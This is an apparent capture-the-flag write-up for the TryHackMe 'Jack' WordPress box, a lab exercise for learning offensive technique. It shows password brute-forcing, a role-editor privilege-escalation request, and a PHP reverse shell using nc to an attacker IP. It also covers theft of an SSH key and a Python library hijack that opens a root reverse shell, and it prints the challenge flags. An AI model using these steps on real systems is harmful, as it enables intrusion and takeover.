TryHackMe-Jack
Jack
Compromise a web server running Wordpress, obtain a low privileged user and escalate your privileges to root using a Python module.
Connect to our network and deploy this machine.
Add jack.thm
to /etc/hosts
#1 - Gain initial access and obtain the user flag.
Hint: Wpscan user enumeration, and don’t use tools (ure_other_roles)
Enumeration
Append the following entry to your /etc/hosts
file:
10.10.148.86 jack.thm
Let’s check the services running on the target:
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 3e:79:78:08:93:31:d0:83:7f:e2:bc:b6:14:bf:5d:9b (RSA) | 256 3a:67:9f:af:7e:66:fa:e3:f8:c7:54:49:63:38:a2:93 (ECDSA) |_ 256 8c:ef:55:b0:23:73:2c:14:09:45:22:ac:84:cb:40:d2 (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-generator: WordPress 5.3.2 | http-robots.txt: 1 disallowed entry |_/wp-admin/ |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Jack's Personal Site – Blog for Jacks writing adven... Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
There are 2 open ports, 22 and 80, respectively for SSH and HTTP.
As far as the web service, it hosts a Worpress CMS, which is confirmed by the entries in the robots.txt
file:
$ curl -s 10.10.148.86/robots.txt User-agent: * Disallow: /wp-admin/ Allow: /wp-admin/admin-ajax.php
Wordpress users
Let’s use wpscan
to enumerate the users:
$ wpscan --url http://jack.thm -e u [REDACTED] [+] Enumerating Users (via Passive and Aggressive Methods) Brute Forcing Author IDs - Time: 00:00:00 <========================================> (10 / 10) 100.00% Time: 00:00:00 [i] User(s) Identified: [+] jack | Found By: Rss Generator (Passive Detection) | Confirmed By: | Wp Json Api (Aggressive Detection) | - http://jack.thm/index.php/wp-json/wp/v2/users/?per_page=100&page=1 | Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Login Error Messages (Aggressive Detection) [+] wendy | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Confirmed By: Login Error Messages (Aggressive Detection) [+] danny | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Confirmed By: Login Error Messages (Aggressive Detection) [REDACTED]
There are 3 users identified.
Crack passwords
Let’s save the users in users.txt
and find valid passwords:
$ cat > users.txt << EOF jack wendy danny EOF $ wpscan -U users.txt -P /data/src/wordlists/fasttrack.txt --url http://jack.thm [REDACTED] [+] Performing password attack on Xmlrpc against 3 user/s [SUCCESS] - wendy / changelater Trying danny / Time: 00:00:24 <==================================================> (648 / 648) 100.00% Time: 00:00:24 [!] Valid Combinations Found: | Username: wendy, Password: changelater [REDACTED]
Nice! We have found wendy’s password.
Login as Wendy
Now go to http://jack.thm/wp-login.php and login with wendy:changelater
. As you will notice, Wendy has limited privileges and we can’t do any administrative task.
No way to create a reverse shell with these limited privileges. We need to grant Wendy with more privileges.
Grant Wendy administrator privileges
The User Role Editor plugin is vulnerable to a privilege escalation (https://www.exploit-db.com/exploits/44595) and we can grant Wendy administrator privileges.
Start BurpSuite and browse Wendy’s profile (http://jack.thm/wp-admin/profile.php).
Now, scroll down to the very bottom of the page and click on the Update Profile
button. Intercept the following request in BurpSuite:
POST /wp-admin/profile.php HTTP/1.1 Host: jack.thm User-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:77.0) Gecko/20100101 Firefox/77.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://jack.thm/wp-admin/profile.php Content-Type: application/x-www-form-urlencoded Content-Length: 312 Origin: http://jack.thm DNT: 1 Connection: close Cookie: wordpress_07f87507b491ce41808428c8c499655c=wendy%7C1592655638%7CLRHrQ5OvxYuOhZLXpHc1pkmEM5zPeI5wHlr75cChfkx%7Cd29e8efa83c597e5521498d8cbbdae7fc1f019cf0f14499b9dc07f3e9b1aee19; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_07f87507b491ce41808428c8c499655c=wendy%7C1592655638%7CLRHrQ5OvxYuOhZLXpHc1pkmEM5zPeI5wHlr75cChfkx%7C0cc36c8cc6f4e6246a036f37683f0d59afa9faa3885a86abce0dc9f372273b14; wp-settings-time-2=1592486277 Upgrade-Insecure-Requests: 1 _wpnonce=4412841a5b&_wp_http_referer=%2Fwp-admin%2Fprofile.php&from=profile&checkuser_id=2&color-nonce=deea9285df&admin_color=fresh&admin_bar_front=1&first_name=&last_name=&nickname=wendy&display_name=wendy&email=wendy%40tryhackme.com&url=&description=&pass1=&pass2=&action=update&user_id=2&submit=Update+Profile
And before forwarding it, add the following variable at the end:
ure_other_roles=administrator
Now, Wendy is granted administrator privileges and we should be able to make our reverse shell.
Reverse shell
It was not possible to hook the 404.php
template with a PHP reverse shell but but updating the plugins is possible.
Prefix the existing code of any plugin (e.g. Hello Dolly > hello.php
) with a reverse shell, as shown below:
<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.9.0.54 4444 >/tmp/f'); ?>
Save the page, open a listener (rlwrap nc -nlvp 4444
) and activate the plugin. It should trigger a shell:
$ whoami www-data $ cd /home/jack/ $ ls reminder.txt user.txt $ cat user.txt 0052f7829e48752f2e7bf50f1231548a
User flag: 0052f7829e48752f2e7bf50f1231548a
#2 - Escalate your privileges to root. Whats the root flag?
Hint: Python
Still in jack’s home, there is an interesting file that talks about backup and permissions.
$ cat /home/jack/reminder.txt Please read the memo on linux file permissions, last time your backups almost got us hacked! Jack will hear about this when he gets back.
Searching for backup
, it quickly turns out that there is a backup directory in /var
:
$ cd /var/backups/ $ ls -l total 776 drwxr-xr-x 2 root root 4096 Jan 10 15:05 ./ drwxr-xr-x 14 root root 4096 Jan 9 10:10 ../ -rw-r--r-- 1 root root 40960 Jan 9 06:25 alternatives.tar.0 -rw-r--r-- 1 root root 9931 Jan 9 10:34 apt.extended_states.0 -rw-r--r-- 1 root root 713 Jan 8 11:20 apt.extended_states.1.gz -rw-r--r-- 1 root root 11 Jan 8 11:17 dpkg.arch.0 -rw-r--r-- 1 root root 43 Jan 8 11:17 dpkg.arch.1.gz -rw-r--r-- 1 root root 437 Jan 8 11:23 dpkg.diversions.0 -rw-r--r-- 1 root root 202 Jan 8 11:23 dpkg.diversions.1.gz -rw-r--r-- 1 root root 207 Jan 9 10:11 dpkg.statoverride.0 -rw-r--r-- 1 root root 129 Jan 8 11:19 dpkg.statoverride.1.gz -rw-r--r-- 1 root root 552673 Jan 9 10:34 dpkg.status.0 -rw-r--r-- 1 root root 129487 Jan 8 11:20 dpkg.status.1.gz -rw------- 1 root root 813 Jan 10 10:54 group.bak -rw------- 1 root shadow 679 Jan 10 10:54 gshadow.bak -rwxrwxrwx 1 root root 1675 Jan 10 15:05 id_rsa* -rw------- 1 root root 1626 Jan 9 10:11 passwd.bak -rw------- 1 root shadow 1066 Jan 10 08:07 shadow.bak
Interstingly, all interesting files have been properly protected but id_rsa
which I suspect to be jack’s SSH private key. As python3
is installed on the server, let’s make the file available to us as a python web server:
$ /usr/bin/python3 -m http.server
Now, we can download id_rsa
by connecting to http://10.10.148.86:8000.
Let’s check if we can connect as jack
:
$ chmod 600 id_rsa $ ssh -i id_rsa [email protected]
Great! We are now connected as Jack. Let’s find a way to elevate our privileges. Standard enumeration tools like linpeas.sh
are great, but there is a great tool called pspy
that will be particularly handy in our case.
Using pspy
, we can notice that there is a cron job running every 2 minutes:
2020/06/18 09:50:01 CMD: UID=0 PID=27131 | /usr/bin/python /opt/statuscheck/checker.py 2020/06/18 09:50:01 CMD: UID=0 PID=27130 | /bin/sh -c /usr/bin/python /opt/statuscheck/checker.py 2020/06/18 09:50:01 CMD: UID=0 PID=27129 | /usr/sbin/CRON -f 2020/06/18 09:50:01 CMD: UID=0 PID=27133 | sh -c /usr/bin/curl -s -I http://127.0.0.1 >> /opt/statuscheck/output.log 2020/06/18 09:50:01 CMD: UID=0 PID=27132 | sh -c /usr/bin/curl -s -I http://127.0.0.1 >> /opt/statuscheck/output.log 2020/06/18 09:52:01 CMD: UID=0 PID=27137 | /usr/bin/python /opt/statuscheck/checker.py 2020/06/18 09:52:01 CMD: UID=0 PID=27136 | /bin/sh -c /usr/bin/python /opt/statuscheck/checker.py 2020/06/18 09:52:01 CMD: UID=0 PID=27135 | /usr/sbin/CRON -f 2020/06/18 09:52:01 CMD: UID=0 PID=27139 | /usr/bin/curl -s -I http://127.0.0.1 2020/06/18 09:52:01 CMD: UID=0 PID=27138 | sh -c /usr/bin/curl -s -I http://127.0.0.1 >> /opt/statuscheck/output.log 2020/06/18 09:54:01 CMD: UID=0 PID=27143 | /usr/bin/python /opt/statuscheck/checker.py 2020/06/18 09:54:01 CMD: UID=0 PID=27142 | /bin/sh -c /usr/bin/python /opt/statuscheck/checker.py 2020/06/18 09:54:01 CMD: UID=0 PID=27141 | /usr/sbin/CRON -f 2020/06/18 09:54:01 CMD: UID=0 PID=27144 | /usr/bin/python /opt/statuscheck/checker.py 2020/06/18 09:54:01 CMD: UID=0 PID=27145 | sh -c /usr/bin/curl -s -I http://127.0.0.1 >> /opt/statuscheck/output.log
The script is owned by root
and we don’t have write access to it:
jack@jack:/opt/statuscheck$ ls -la total 48 drwxr-xr-x 2 root root 4096 Jan 10 18:34 . drwxr-xr-x 3 root root 4096 Jan 10 09:50 .. -rw-r--r-- 1 root root 92 Jan 10 10:10 checker.py -rw-r--r-- 1 root root 30096 Jun 18 10:14 output.log
The script itself doesn’t do much. It connects to localhost and outputs the result in a log file on the same directory as the script.
jack@jack:/opt/statuscheck$ cat checker.py import os os.system("/usr/bin/curl -s -I http://127.0.0.1 >> /opt/statuscheck/output.log")
But… we have write access to /usr/lib/python2.7/os.py
which is imported in the script:
jack@jack:/usr/lib/python2.7$ ls -l /usr/lib/python2.7/os.py -rw-rw-r-x 1 root family 25908 Jan 10 19:22 /usr/lib/python2.7/os.py
Time to write some python code. Append the following content at the end of /usr/lib/python2.7/os.py
:
import socket
import pty
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.9.0.54",5555))
dup2(s.fileno(),0)
dup2(s.fileno(),1)
dup2(s.fileno(),2)
pty.spawn("/bin/bash")
Open a listener on port 5555 (or whatever you specified in the code above) and wait. You can run pspy
in parallel on the server to monitor the cron job.
$ rlwrap nc -nlvp 5555 Ncat: Version 7.80 ( https://nmap.org/ncat ) Ncat: Listening on :::5555 Ncat: Listening on 0.0.0.0:5555 Ncat: Connection from 10.10.148.86. Ncat: Connection from 10.10.148.86:44732. root@jack:~# cat root.txt cat root.txt b8b63a861cc09e853f29d8055d64bffb
Root flag: b8b63a861cc09e853f29d8055d64bffb
Really great challenge! Congrats to the author, I had a lot of fun!
Note: Don’t forget to remove the entry from the /etc/hosts
file
Comments
Keywords: ctf tryhackme wordpress